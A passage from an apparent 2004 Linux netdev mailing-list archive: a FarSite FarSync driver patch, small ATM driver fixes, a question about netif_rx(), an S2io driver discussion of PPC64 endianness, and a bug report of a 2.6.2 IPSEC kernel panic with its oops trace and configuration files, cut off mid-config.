FST_USER_VERSION=0A= - " (c) 2001 FarSite Communications = Ltd.\n");=0A= + " (c) 2001-2003 FarSite Communications = Ltd.\n");=0A= firsttime_done =3D 1;=0A= + dbg(DBG_ASS, "The value of debug mask is %x\n", fst_debug_mask);=0A= }=0A= =0A= + /*=0A= + * We are going to be clever and allow certain cards not to be=0A= + * configured. An exclude list can be provided in = /etc/modules.conf=0A= + */=0A= + if (fst_excluded_cards !=3D 0)=0A= + {=0A= + /*=0A= + * There are cards to exclude=0A= + *=0A= + */=0A= + for (i=3D0; i< fst_excluded_cards; i++)=0A= + {=0A= + if ((pdev->devfn)>>3 =3D=3D fst_excluded_list[i])=0A= + {=0A= + printk("FarSync PCI device %d not assigned\n", = (pdev->devfn)>>3);=0A= + return -EBUSY;=0A= + }=0A= + }=0A= + }=0A= +=0A= /* Allocate driver private data */=0A= card =3D kmalloc ( sizeof ( struct fst_card_info ), = GFP_KERNEL);=0A= if (card =3D=3D NULL)=0A= @@ -1536,6 +2691,13 @@=0A= }=0A= memset ( card, 0, sizeof ( struct fst_card_info ));=0A= =0A= + /* Try to enable the device */=0A= + if (( err =3D pci_enable_device ( pdev )) !=3D 0 )=0A= + {=0A= + printk_err ("Failed to enable card. Err %d\n", -err = );=0A= + goto error_free_card;=0A= + }=0A= +=0A= /* Record info we need*/=0A= card->irq =3D pdev->irq;=0A= card->pci_conf =3D pci_resource_start ( pdev, 1 );=0A= @@ -1543,9 +2705,18 @@=0A= card->phys_ctlmem =3D pci_resource_start ( pdev, 3 );=0A= =0A= card->type =3D ent->driver_data;=0A= - card->nports =3D ( ent->driver_data =3D=3D FST_TYPE_T2P ) = ? 2 : 4;=0A= + card->family =3D (( ent->driver_data =3D=3D FST_TYPE_T2P ) = ||=0A= + ( ent->driver_data =3D=3D FST_TYPE_T4P ) = ) =0A= + ? FST_FAMILY_TXP : FST_FAMILY_TXU;=0A= + if ( ( ent->driver_data =3D=3D FST_TYPE_T1U ) ||=0A= + (ent->driver_data =3D=3D FST_TYPE_TE1) )=0A= + card->nports =3D 1;=0A= + else=0A= + card->nports =3D (( ent->driver_data =3D=3D FST_TYPE_T2P ) || = =0A= + ( ent->driver_data =3D=3D FST_TYPE_T2U) ) ? 2 : 4;=0A= =0A= card->state =3D FST_UNINIT;=0A= + card->device =3D pdev;=0A= =0A= dbg ( DBG_PCI,"type %d nports %d irq %d\n", card->type,=0A= card->nports, card->irq );=0A= @@ -1553,13 +2724,26 @@=0A= card->pci_conf, card->phys_mem, = card->phys_ctlmem );=0A= =0A= /* Check we can get access to the memory and I/O regions */=0A= - if ( ! request_region ( card->pci_conf, 0x80,"PLX config = regs"))=0A= - {=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + if ( ! request_region ( card->pci_conf, 0x100,"PLX 9054 config = regs"))=0A= + {=0A= + printk_err ("Unable to get config I/O @ 0x%04X\n",=0A= + card->pci_conf );=0A= + err =3D -ENODEV;=0A= + goto error_free_card;=0A= + }=0A= + }=0A= + else=0A= + {=0A= + if ( ! request_region ( card->pci_conf, 0x80,"PLX 9050/2 = config regs"))=0A= + {=0A= printk_err ("Unable to get config I/O @ 0x%04X\n",=0A= card->pci_conf );=0A= err =3D -ENODEV;=0A= goto error_free_card;=0A= - }=0A= + }=0A= + }=0A= if ( ! request_mem_region ( card->phys_mem, = FST_MEMSIZE,"Shared RAM"))=0A= {=0A= printk_err ("Unable to get main memory @ 0x%08X\n",=0A= @@ -1575,12 +2759,6 @@=0A= goto error_release_mem;=0A= }=0A= =0A= - /* Try to enable the device */=0A= - if (( err =3D pci_enable_device ( pdev )) !=3D 0 )=0A= - {=0A= - printk_err ("Failed to enable card. Err %d\n", -err = );=0A= - goto error_release_ctlmem;=0A= - }=0A= =0A= /* Get virtual addresses of memory regions */=0A= if (( card->mem =3D ioremap ( card->phys_mem, FST_MEMSIZE )) = =3D=3D NULL )=0A= @@ -1601,6 +2779,9 @@=0A= fst_cpureset ( card );=0A= card->state =3D FST_RESET;=0A= =0A= + /* Initialise DMA (if required) */=0A= + fst_init_dma ( card );=0A= +=0A= /* Register the interrupt handler */=0A= if ( request_irq ( card->irq, fst_intr, SA_SHIRQ, = FST_DEV_NAME, card ))=0A= {=0A= @@ -1612,8 +2793,14 @@=0A= =0A= /* Record driver data for later use */=0A= pci_set_drvdata(pdev, card);=0A= + if (!pci_dma_supported(pdev, 0xffffffff))=0A= + {=0A= + printk("Can't do DMA on this device\n");=0A= + }=0A= =0A= /* Remainder of card setup */=0A= + fst_card_array[no_of_cards_added] =3D card;=0A= + card->card_no =3D no_of_cards_added++; /* Record instance and bump = it */=0A= fst_init_card ( card );=0A= =0A= return 0; /* Success */=0A= @@ -1665,9 +2852,28 @@=0A= =0A= release_mem_region ( card->phys_ctlmem, 0x10 );=0A= release_mem_region ( card->phys_mem, FST_MEMSIZE );=0A= - release_region ( card->pci_conf, 0x80 );=0A= -=0A= - kfree ( card );=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + release_region ( card->pci_conf, 0x100 );=0A= + }=0A= + else=0A= + {=0A= + release_region ( card->pci_conf, 0x80 );=0A= + }=0A= +=0A= + if ( card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + /*=0A= + * Free dma buffers=0A= + */=0A= + pci_free_consistent(card->device, FST_MAX_MTU, =0A= + card->rx_dma_handle_host, =0A= + card->rx_dma_handle_card);=0A= + pci_free_consistent(card->device, FST_MAX_MTU, =0A= + card->tx_dma_handle_host, =0A= + card->tx_dma_handle_card);=0A= + }=0A= + fst_card_array[card->card_no] =3D NULL;=0A= }=0A= =0A= static struct pci_driver fst_driver =3D {=0A= @@ -1682,15 +2888,31 @@=0A= static int __init=0A= fst_init(void)=0A= {=0A= + int i;=0A= +=0A= + for (i=3D0; i internal clock, 0 = =3D> external */=0A= @@ -110,6 +116,31 @@=0A= unsigned short cableStatus; /* lsb: 0=3D> present, 1=3D> = absent */=0A= unsigned short cardMode; /* lsb: LED id mode */=0A= unsigned short debug; /* Debug flags */=0A= + unsigned char transparentMode; /* Not used always 0 */=0A= + unsigned char invertClock; /* Invert clock feature for = syncing */=0A= + unsigned char startingSlot; /* Time slot to use for start = of tx */=0A= + unsigned char clockSource; /* External or internal */=0A= + unsigned char framing; /* E1, T1 or J1 */=0A= + unsigned char structure; /* unframed, double, crc4, f4, = f12, */=0A= + /* f24 f72 */=0A= + unsigned char interface; /* rj48c or bnc */=0A= + unsigned char coding; /* hdb3 b8zs */=0A= + unsigned char lineBuildOut; /* 0, -7.5, -15, -22 */=0A= + unsigned char equalizer; /* short or lon haul settings = */=0A= + unsigned char loopMode; /* various loopbacks */=0A= + unsigned char range; /* cable lengths */=0A= + unsigned char txBufferMode; /* tx elastic buffer depth = */=0A= + unsigned char rxBufferMode; /* rx elastic buffer depth = */=0A= + unsigned char losThreshold; /* Attenuation on LOS signal = */=0A= + unsigned char idleCode; /* Value to send as idle = timeslot */=0A= + unsigned int receiveBufferDelay; /* delay thro rx buffer = timeslots */=0A= + unsigned int framingErrorCount; /* framing errors */=0A= + unsigned int codeViolationCount; /* code violations */=0A= + unsigned int crcErrorCount; /* CRC errors */=0A= + int lineAttenuation; /* in dB*/=0A= + unsigned short lossOfSignal;=0A= + unsigned short receiveRemoteAlarm;=0A= + unsigned short alarmIndicationSignal;=0A= };=0A= =0A= /* "valid" bitmask */=0A= @@ -131,13 +162,23 @@=0A= */=0A= #define FSTVAL_PROTO 0x00000200 /* proto */=0A= #define FSTVAL_MODE 0x00000400 /* cardMode */=0A= +#define FSTVAL_PHASE 0x00000800 /* Clock phase */=0A= +#define FSTVAL_TE1 0x00001000 /* T1E1 Configuration */=0A= #define FSTVAL_DEBUG 0x80000000 /* debug */=0A= -#define FSTVAL_ALL 0x000007FF /* Note: does not include = DEBUG flag */=0A= +#define FSTVAL_ALL 0x00001FFF /* Note: does not include = DEBUG flag */=0A= =0A= /* "type" */=0A= #define FST_TYPE_NONE 0 /* Probably should never = happen */=0A= #define FST_TYPE_T2P 1 /* T2P X21 2 port card */=0A= #define FST_TYPE_T4P 2 /* T4P X21 4 port card */=0A= +#define FST_TYPE_T1U 3 /* T1U X21 1 port card */=0A= +#define FST_TYPE_T2U 4 /* T2U X21 2 port card */=0A= +#define FST_TYPE_T4U 5 /* T4U X21 4 port card */=0A= +#define FST_TYPE_TE1 6 /* T1E1 X21 1 port card */=0A= +=0A= +/* "family" */=0A= +#define FST_FAMILY_TXP 0 /* T2P or T4P */=0A= +#define FST_FAMILY_TXU 1 /* T1U or T2U or T4U */=0A= =0A= /* "state" */=0A= #define FST_UNINIT 0 /* Raw uninitialised state = following=0A= @@ -155,6 +196,10 @@=0A= #define V24 1=0A= #define X21 2=0A= #define V35 3=0A= +#define X21D 4=0A= +#define T1 5=0A= +#define E1 6=0A= +#define J1 7=0A= =0A= /* "proto" */=0A= #define FST_HDLC 1 /* Cisco compatible HDLC */=0A= @@ -187,6 +232,97 @@=0A= /* "cardMode" bitmask */=0A= #define CARD_MODE_IDENTIFY 0x0001=0A= =0A= +/* =0A= + * Constants for T1/E1 configuration=0A= + */=0A= +=0A= +/*=0A= + * Clock source=0A= + */=0A= +#define CLOCKING_SLAVE 0=0A= +#define CLOCKING_MASTER 1=0A= +=0A= +/*=0A= + * Framing=0A= + */=0A= +#define FRAMING_E1 0=0A= +#define FRAMING_J1 1=0A= +#define FRAMING_T1 2=0A= +=0A= +/*=0A= + * Structure=0A= + */=0A= +#define STRUCTURE_UNFRAMED 0=0A= +#define STRUCTURE_E1_DOUBLE 1=0A= +#define STRUCTURE_E1_CRC4 2=0A= +#define STRUCTURE_E1_CRC4M 3=0A= +#define STRUCTURE_T1_4 4=0A= +#define STRUCTURE_T1_12 5=0A= +#define STRUCTURE_T1_24 6=0A= +#define STRUCTURE_T1_72 7=0A= +=0A= +/*=0A= + * Interface=0A= + */=0A= +#define INTERFACE_RJ48C 0=0A= +#define INTERFACE_BNC 1=0A= +=0A= +/*=0A= + * Coding=0A= + */=0A= +=0A= +#define CODING_HDB3 0=0A= +#define CODING_NRZ 1=0A= +#define CODING_CMI 2=0A= +#define CODING_CMI_HDB3 3=0A= +#define CODING_CMI_B8ZS 4=0A= +#define CODING_AMI 5=0A= +#define CODING_AMI_ZCS 6=0A= +#define CODING_B8ZS 7=0A= +=0A= +/*=0A= + * Line Build Out=0A= + */=0A= +#define LBO_0dB 0=0A= +#define LBO_7dB5 1=0A= +#define LBO_15dB 2=0A= +#define LBO_22dB5 3=0A= +=0A= +/*=0A= + * Range for long haul t1 > 655ft=0A= + */=0A= +#define RANGE_0_133_FT 0=0A= +#define RANGE_0_40_M RANGE_0_133_FT=0A= +#define RANGE_133_266_FT 1=0A= +#define RANGE_40_81_M RANGE_133_266_FT=0A= +#define RANGE_266_399_FT 2=0A= +#define RANGE_81_122_M RANGE_266_399_FT=0A= +#define RANGE_399_533_FT 3=0A= +#define RANGE_122_162_M RANGE_399_533_FT=0A= +#define RANGE_533_655_FT 4=0A= +#define RANGE_162_200_M RANGE_533_655_FT=0A= +/*=0A= + * Receive Equaliser=0A= + */=0A= +#define EQUALIZER_SHORT 0=0A= +#define EQUALIZER_LONG 1=0A= +=0A= +/*=0A= + * Loop modes=0A= + */=0A= +#define LOOP_NONE 0=0A= +#define LOOP_LOCAL 1=0A= +#define LOOP_PAYLOAD_EXC_TS0 2=0A= +#define LOOP_PAYLOAD_INC_TS0 3=0A= +#define LOOP_REMOTE 4=0A= +=0A= +/*=0A= + * Buffer modes=0A= + */=0A= +#define BUFFER_2_FRAME 0=0A= +#define BUFFER_1_FRAME 1=0A= +#define BUFFER_96_BIT 2=0A= +#define BUFFER_NONE 3=0A= =0A= /* Debug support=0A= *=0A= diff -urN linux-2.4.25-orig/include/linux/if.h = linux/include/linux/if.h=0A= --- linux-2.4.25-orig/include/linux/if.h 2004-02-04 12:08:25.000000000 = +0000=0A= +++ linux/include/linux/if.h 2004-02-04 12:26:14.000000000 +0000=0A= @@ -62,6 +62,7 @@=0A= #define IF_IFACE_T1 0x1003 /* T1 telco serial interface */=0A= #define IF_IFACE_E1 0x1004 /* E1 telco serial interface */=0A= #define IF_IFACE_SYNC_SERIAL 0x1005 /* can't be set by software */=0A= +#define IF_IFACE_X21D 0x1006 /* X.21 Dual Clocking = (FarSite) */=0A= =0A= /* For definitions see hdlc.h */=0A= #define IF_PROTO_HDLC 0x2000 /* raw HDLC protocol */=0A= @@ -76,6 +77,7 @@=0A= #define IF_PROTO_FR_DEL_ETH_PVC 0x2009 /* Delete FR Ethernet-bridged = PVC */=0A= #define IF_PROTO_FR_PVC 0x200A /* for reading PVC status */=0A= #define IF_PROTO_FR_ETH_PVC 0x200B=0A= +#define IF_PROTO_RAW 0x200C /* RAW Socket = */=0A= =0A= =0A= /*=0A= ------_=_NextPart_000_01C3EB38.D1A7D900-- From chas@cmf.nrl.navy.mil Wed Feb 4 11:05:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 11:05:18 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14J58KO018752 for ; Wed, 4 Feb 2004 11:05:09 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i14J4xRr017789; Wed, 4 Feb 2004 14:04:59 -0500 (EST) Message-Id: <200402041904.i14J4xRr017789@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, "Randy.Dunlap" cc: netdev@oss.sgi.com Subject: Re: [PATCH] atm/idt77252: correct printk of dma_addr_t In-Reply-To: Message from "Randy.Dunlap" of "Tue, 03 Feb 2004 15:34:48 PST." <20040203153448.5c81e49d.rddunlap@osdl.org> Date: Wed, 04 Feb 2004 14:05:00 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-0.3 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2989 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev dave, please apply the following to the 2.6 and 2.4 trees. thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1549 -> 1.1550 # drivers/atm/idt77252.c 1.21 -> 1.22 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/04 chas@relax.cmf.nrl.navy.mil 1.1550 # [ATM]: [idt77252] fix dma_addr_t type error with CONFIG_HIGHMEM64G=y (by "Randy.Dunlap" ) # -------------------------------------------- # diff -Nru a/drivers/atm/idt77252.c b/drivers/atm/idt77252.c --- a/drivers/atm/idt77252.c Wed Feb 4 13:24:55 2004 +++ b/drivers/atm/idt77252.c Wed Feb 4 13:24:55 2004 @@ -664,8 +664,8 @@ skb_queue_head_init(&scq->transmit); skb_queue_head_init(&scq->pending); - TXPRINTK("idt77252: SCQ: base 0x%p, next 0x%p, last 0x%p, paddr %08x\n", - scq->base, scq->next, scq->last, scq->paddr); + TXPRINTK("idt77252: SCQ: base 0x%p, next 0x%p, last 0x%p, paddr %08llx\n", + scq->base, scq->next, scq->last, (unsigned long long)scq->paddr); return scq; } From chas@cmf.nrl.navy.mil Wed Feb 4 11:04:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 11:04:34 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14J4OKO018631 for ; Wed, 4 Feb 2004 11:04:24 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i14J4GRr017777; Wed, 4 Feb 2004 14:04:16 -0500 (EST) Message-Id: <200402041904.i14J4GRr017777@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 In-Reply-To: Message from "Randy.Dunlap" of "Wed, 28 Jan 2004 09:18:03 PST." <20040128091803.1da4cf1c.rddunlap@osdl.org> Date: Wed, 04 Feb 2004 14:04:17 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-8.8 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2988 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev randy, i think it should probably return -ENOMEM instead of -1. dave, please apply the following to both the 2.6 and 2.4 trees. thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1548 -> 1.1549 # net/atm/clip.c 1.29 -> 1.30 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/04 chas@relax.cmf.nrl.navy.mil 1.1549 # [ATM]: [clip] check return code from kmem_cache_create (by "Randy.Dunlap" ) # -------------------------------------------- # diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Wed Feb 4 13:24:23 2004 +++ b/net/atm/clip.c Wed Feb 4 13:24:23 2004 @@ -1021,6 +1021,9 @@ clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, clip_tbl.entry_size, 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!clip_tbl.kmem_cachep) + return -ENOMEM; + /* so neigh_ifdown() doesn't complain */ clip_tbl.proxy_timer.data = 0; clip_tbl.proxy_timer.function = 0; In message <20040128091803.1da4cf1c.rddunlap@osdl.org>,"Randy.Dunlap" writes: > >Hi Chas- > >What do you think of this patch? > >ISTM that the result of kmem_cache_create() should be checked, >and this patch looks OK to me for a loadable module (it will >fail loading). But when this code is in the kernel image, >will the rest of the code that depends on this kmem_cache_create() >be OK, or will it try to use the kmem_cachep even though it >is NULL? > >Thanks, >~Randy >~~~~~~~~~~~~~~~~~~~~~~~ > > >Begin forwarded message: > >Date: Sun, 25 Jan 2004 15:07:41 +0100 >From: (Walter Harms) >To: >Subject: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 > > > > >--- net/atm/clip.c.org 2004-01-24 12:22:02.691771888 +0100 >+++ net/atm/clip.c 2004-01-24 12:27:57.074897464 +0100 >@@ -1026,6 +1026,9 @@ > clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, > clip_tbl.entry_size, 0, SLAB_HWCACHE_ALIGN, NULL, NULL); > >+ if (!clip_tbl.kmem_cachep) >+ return -1; >+ > /* so neigh_ifdown() doesn't complain */ > clip_tbl.proxy_timer.data = 0; > clip_tbl.proxy_timer.function = 0; >_______________________________________________ >Kernel-janitors mailing list >Kernel-janitors@lists.osdl.org >http://lists.osdl.org/mailman/listinfo/kernel-janitors > > >-- >~Randy >kernel-janitors project: http://janitor.kernelnewbies.org/ > From errai110@kornet.net Wed Feb 4 11:12:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 11:12:08 -0800 (PST) Received: from relay1.kornet.net (relay1.kornet.net [211.48.62.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14JC3KO019652 for ; Wed, 4 Feb 2004 11:12:04 -0800 Received: from [211.197.3.93] (errai110@kornet.net) by relay1.kornet.net (Terrace MailWatcher) with ESMTP id 2004020504:11:57:554893.18361.26 for ; Thu, 05 Feb 2004 04:11:57 +0900 (KST) Message-ID: <004101c3eb52$c3412d20$5d03c5d3@errai> From: "Lee, Kuk-hyun" To: Subject: [question] netif_rx() - why don't call raise_softirq()? Date: Thu, 5 Feb 2004 04:11:58 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 2990 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: errai110@kornet.net Precedence: bulk X-list: netdev Hi, I am newbie in the latest kernel development. Nowadays I am starting to work in linux kernel. BTW, I find kernel code that I can't understand. in bellow. netif_rx() in 2.4.19 1238 dev_hold(skb->dev); 1239 __skb_queue_tail(&queue->input_pkt_queue,skb); 1240 /* Runs from irqs or BH's, no need to wake BH */ 1241 cpu_raise_softirq(this_cpu, NET_RX_SOFTIRQ); 1242 local_irq_restore(flags); netif_rx() in 2.4.20 1254 dev_hold(skb->dev); 1255 __skb_queue_tail(&queue->input_pkt_queue,skb); 1256 local_irq_restore(flags); why 2.4.20's netif_rx() don't call raise_softirq()? Is there never call net_rx_action()? maybe, IMHO, because NAPI. but I want to know exactly. I don't know reason why should you that. I could not find reason in google or netdev mailling list. sorry for my stupid question. Any help is highly appriciated. Thanks, Lee From leonid.grossman@s2io.com Wed Feb 4 12:52:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 12:52:29 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14KqOKO025900 for ; Wed, 4 Feb 2004 12:52:25 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i14KjmjF011851; Wed, 4 Feb 2004 15:45:48 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i14Kj7KK025663; Wed, 4 Feb 2004 15:45:08 -0500 (EST) From: "Leonid Grossman" To: "'Andi Kleen'" Cc: , "'Ragu Vatsavayi'" , "'Grant Grundler'" Subject: RE: FW: Submission for S2io 10GbE driver Date: Wed, 4 Feb 2004 12:44:21 -0800 Message-ID: <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <20040123232209.2739e6aa.ak@suse.de> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2991 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > All the ARCH_PPC64 ifdefs shouldn't be needed. Can you remove > that? If there are problems in ppc64 code they should be > fixed there, not worked around. Same with the ifdefs for > kernel 2.6 features. An driver integrated into the kernel > should not contain such ifdefs. Hi Andi, You are right some of the ifdefs are not needed and we are removing these; it is not clear if we can get rid of all of them for the following reasons: 1) We did't find quad word memory operations(writeq and readq) on PCI bus for PPC64 architecture. 2) We did't had a chance to test the driver on other big endian systems apart from PPC64. In PPC64 architecture though, I write/read a value to/from ioremaped address it swaps the value and behaves like a little endian m/c: For ex: if I do writel(0x12345678, addr) then in it writes addr: 78, (addr+1):56, (addr+2):34, (addr+3):12 On a little endian m/c like IA32 also writel writes same values in a similar manner as shown above. So the question is - Do all big endian machines with linux OS swap the values and write in little endian format?? 3)In PPC64 architecture dma_addr_t is u32, unlike remaining 64 bit architectures where it is defined as u64. Because of this we have to deal separately for PP64. So any suggestions will be useful, .i.e. generally how PPC64 developers deal with this? Say if we have some structure corresponding to memory region of our hardware device which should be of 16 bytes. struct hw { dma_addr_t phys; char *virt; #ifdef ARCH32 u64 dummy; #endif } Then above definition will not work for PPC64, we need to modify it like this: struct hw { dma_addr_t phys; char *virt; #ifdef ARCH32 u64 dummy; #endif #ifdef ARCH_PPC64 u32 dummy; #endif } From akpm@osdl.org Wed Feb 4 12:55:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 12:55:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14Kt1KO026286 for ; Wed, 4 Feb 2004 12:55:02 -0800 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i14KstB09220 for ; Wed, 4 Feb 2004 12:54:56 -0800 Date: Wed, 4 Feb 2004 12:56:25 -0800 From: Andrew Morton To: netdev@oss.sgi.com Subject: Fw: [Bugme-new] [Bug 2017] New: 2.6.2 kernel panic when using IPSEC Message-Id: <20040204125625.7cda3f0c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2992 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Wed, 4 Feb 2004 12:48:26 -0800 From: bugme-daemon@osdl.org To: bugme-new@lists.osdl.org Subject: [Bugme-new] [Bug 2017] New: 2.6.2 kernel panic when using IPSEC http://bugme.osdl.org/show_bug.cgi?id=2017 Summary: 2.6.2 kernel panic when using IPSEC Kernel Version: 2.6.2 Status: NEW Severity: high Owner: niv@us.ibm.com Submitter: linux.bugzilla@padilla.net Distribution: Debian Stable Hardware Environment: P-II 350, IDE Software Environment: Problem Description: I upgraded to 2.6.2 today (from 2.6.1) and got a kernel panic as soon sa I started using IPSEC (same config as I have been using with 2.6.1). Following is the console output: Unable to handle kernel NULL pointer dereference at virtual address 00000000 *pde = 00000000 Oops: 0002 [#1] CPU: 0 EIP: 0060:[] Not tainted EFLAGS: 00010082 EIP is at schedule+0x139/0x4f4 eax: 00000001 ebx: 00000000 ecx: c0311d80 edx: c0311d60 esi: c0311d60 edi: c0311f28 ebp: c0389d70 esp: c0389d30 ds: 007b es: 007b ss: 0068 Process swapper (pid: 0, threadinfo=c0388000 task=c0311d60) Stack: c0388000 c0389db0 c0389dc4 c81a8cc0 c81a8cc0 cf1f62e0 00000002 cf1f62e0 c0389e00 c0389dfc 00000246 0926bf51 9530848e 000006f2 c0311d60 c0311f28 c0389dd4 c02a294d c0389df4 c81a8cc0 c81a8cc0 00000002 00029d00 00000003 Call Trace: [] xfrm_lookup+0x1ed/0x45c [] default_wake_function+0x0/0x1c [] default_wake_function+0x0/0x1c [] _decode_session+0x2a/0x40 [] __xfrm_route_forward+0x2f/0x48 [] ip_forward+0x97/0x234 [] ip_rcv_finish+0x1fd/0x244 [] nf_hook_slow+0xcc/0x124 [] ip_rcv+0x3ee/0x430 [] ip_rcv_finish+0x0/0x244 [] netif_receive_skb+0x150/0x1a8 [] process_backlog+0x71/0x104 [] net_rx_action+0x72/0x11c [] do_softirq+0x4e/0xa0 [] do_IRQ+0x115/0x130 [] default_idle+0x0/0x34 [] _stext+0x0/0x5c [] common_interrupt+0x18/0x20 [] default_idle+0x0/0x34 [] _stext+0x0/0x5c [] default_idle+0x26/0x34 [] cpu_idle+0x31/0x40 [] _stext+0x55/0x5c [] start_kernel+0x176/0x17c Code: ff 0b 8b 51 04 8b 46 20 89 50 04 89 02 c7 46 20 00 01 10 00 <0>Kernel panic: Fatal exception in interrupt In interrupt handler - not syncing attached is the racoon.conf I'm using (aaa.bbb.ccc.ddd, eee.fff.ggg.hhh and iii.jjj.kkk.lll are ip addresses): path include "/usr/local/etc/racoon" ; path pre_shared_key "/usr/local/etc/racoon/psk.txt" ; #log debug; listen { isakmp aaa.bbb.ccc.ddd[500]; } remote eee.fff.ggg.hhh { exchange_mode main; proposal { encryption_algorithm 3des; hash_algorithm sha1; authentication_method pre_shared_key; dh_group modp1024; } } sainfo address 172.31.0.0/24 any address iii.jjj.kkk.lll/27 any { pfs_group modp1024; encryption_algorithm 3des; authentication_algorithm hmac_sha1; compression_algorithm deflate; } # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # # CONFIG_EXPERIMENTAL is not set CONFIG_CLEAN_COMPILE=y CONFIG_STANDALONE=y CONFIG_BROKEN_ON_SMP=y # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y # CONFIG_BSD_PROCESS_ACCT is not set CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=14 # CONFIG_IKCONFIG is not set # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set # # Loadable module support # CONFIG_MODULES=y CONFIG_MODULE_UNLOAD=y CONFIG_OBSOLETE_MODPARM=y CONFIG_KMOD=y # # Processor type and features # CONFIG_X86_PC=y # CONFIG_X86_VOYAGER is not set # CONFIG_X86_NUMAQ is not set # 